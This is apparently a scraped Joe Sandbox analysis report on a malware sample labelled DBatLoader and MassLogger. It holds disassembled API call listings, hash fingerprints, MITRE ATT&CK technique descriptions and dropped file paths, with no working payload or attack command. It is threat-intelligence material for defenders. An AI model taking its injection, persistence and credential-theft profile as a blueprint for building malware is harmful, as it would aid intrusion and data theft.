GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02E28903), ref: 02E28860
GetProcAddress.KERNEL32(02E71384,00000000), ref: 02E28879

Part of subcall function 02E27CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E27D6C

FreeLibrary.KERNEL32(02E71384,00000000,02E71388,Function_000055D8,00000004,02E71398,02E71388,000186A3,00000040,02E7139C,02E71384,00000000,00000000,00000000,00000000,02E28903), ref: 02E288E3

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressFreeHandleLibraryMemoryModuleProcVirtualWrite
String ID:
API String ID: 3588955079-0
Opcode ID: 914816a10446a0dd496002b1646178e861237bde7c5753dbd4fa42c845fc4933
Instruction ID: b75cc37e3bd4b9e5b118a8d126a7b67d75ecffe1f534fdad088cfb973807009f
Opcode Fuzzy Hash: 914816a10446a0dd496002b1646178e861237bde7c5753dbd4fa42c845fc4933
Instruction Fuzzy Hash: CE114270AC0344BFEB00FBB8CD02A5E77A99B45700F92E4747509ABA80DA7499048B24

Function 02E14168 Relevance: 3.1, APIs: 2, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf40e180b550bf439c5dc872ef8f6c75c3113a25bbc2484cdf75f10915deff7a
Instruction ID: 67583341c2487a89e38fdc6a3aa888dbb5e1ad014e9b60618d1fe145eb16d84d
Opcode Fuzzy Hash: cf40e180b550bf439c5dc872ef8f6c75c3113a25bbc2484cdf75f10915deff7a
Instruction Fuzzy Hash: A3415B75DC02049FDB64EF29E48879A7BE2FB05319F98E469E9089B380C73098D5CF61

Function 02E15814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(20D81B20,?,00000105), ref: 02E15832

Part of subcall function 02E15A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 02E15A94
Part of subcall function 02E15A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02E15AB2
Part of subcall function 02E15A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02E15AD0
Part of subcall function 02E15A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02E15AEE
Part of subcall function 02E15A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,02E15B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02E15B37
Part of subcall function 02E15A78: RegQueryValueExA.ADVAPI32(?,02E15CE4,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,02E15B7D,?,80000001), ref: 02E15B55
Part of subcall function 02E15A78: RegCloseKey.ADVAPI32(?,02E15B84,00000000,00000000,00000005,00000000,02E15B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02E15B77

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 8d2262c70beaae2bbfdede8a2f275eb551cfb6ca49d82510be69373b1f735333
Instruction ID: df581d72abc7ee7fbedf0c696ee37cef0317cb89c81d3144579567c2a45dc764
Opcode Fuzzy Hash: 8d2262c70beaae2bbfdede8a2f275eb551cfb6ca49d82510be69373b1f735333
Instruction Fuzzy Hash: DAE06D71A402148BCB10DE5888C4B5637D8AB48754F409575ED68DF34AD371D9108BE0

Function 02E17E34 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02E32A41,ScanString,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,Initialize), ref: 02E17E3F

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
Instruction ID: dcd72dcf2ee2bcd86c7bc6a0dce62b1b1ed4e41669b2965baf93050c45c07b04
Opcode Fuzzy Hash: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
Instruction Fuzzy Hash: E5C08CF02922080E5E50A2FC0CC454A42CC090463C3A4BF75F13AC62D2D322D8922410

Function 02E3BB48 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(?,00000000), ref: 02E3BB58

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: e91b6b12a47a8cbb46c267045385499a43cf3b1db0d4ffa743b02d1c94bddf1b
Instruction ID: 367dcafacfe1ae972f2cd8176fd2ada55f0bf74ff907b56b86e3ac89ce1518a5
Opcode Fuzzy Hash: e91b6b12a47a8cbb46c267045385499a43cf3b1db0d4ffa743b02d1c94bddf1b
Instruction Fuzzy Hash: 01C092F07C13803EFA10A6F81CD6FA3A58DD308B01F606426BA05FE2C2D5E24C50CA20

Function 02E14BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02E14BEB

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: db6a3f861f0a6b35b86245416a4c288905a5a0e602f748b147a7570e0d217214
Instruction ID: 4c1f32e49bfe9603772b22c0001469684871ef3cadcb6268510730823635ec74
Opcode Fuzzy Hash: db6a3f861f0a6b35b86245416a4c288905a5a0e602f748b147a7570e0d217214
Instruction Fuzzy Hash: DBB092782C821218EA5421610D10FF2008C0B5138EF84B0B1AF28C82C0FB04C0009832

Function 02E14BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02E14C03

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction ID: 3bcfccf4028db1e21f79a4918be0acb2458f2574aa5b7c5c634819209074e11a
Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction Fuzzy Hash: D4A011BC0802020AAA0B2228000002A20322EE038838AE0B82A080A0808A2A8000E830

Function 02E11682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 02E116A4

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: edad90bf4e066039eee6b53d4f16b788e784c882516c8e12bb0eb3578c57ddee
Instruction ID: e0ec520e8118dab7c2f40dcbe036dbe3f147b5e7eeb300ef7f274e96f55476c2
Opcode Fuzzy Hash: edad90bf4e066039eee6b53d4f16b788e784c882516c8e12bb0eb3578c57ddee
Instruction Fuzzy Hash: F7F09AB2A807956BD710EE5ADC80B82BB94FB00325F458139FA4C9B340D770A854CBD4

Function 02E116E6 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 02E11704

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a1e1e40abe88de422cad60f7fa28db27261920487047f7d6d9706fee6581534a
Instruction ID: 87bc3f450055d002a5caf1bf956a4480715b762fa04e04d8a1edf4c8ef6ff699
Opcode Fuzzy Hash: a1e1e40abe88de422cad60f7fa28db27261920487047f7d6d9706fee6581534a
Instruction Fuzzy Hash: CCE0DF713803006FE7109A3D4C407126AC8AF45224F249575F208CF2C1D2A0D8008B24

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO_B2W984.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: MassLogger

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rpkhzpuO.pif.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Microsofts.exe

C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2kagyev.r4c.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rih2jbxm.pwl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5wvqpes.a3t.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u11qhpy4.dba.psm1

C:\Users\user\AppData\Roaming\ACCApi\apihost.exe

Windows Analysis Report
PO_B2W984.com

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre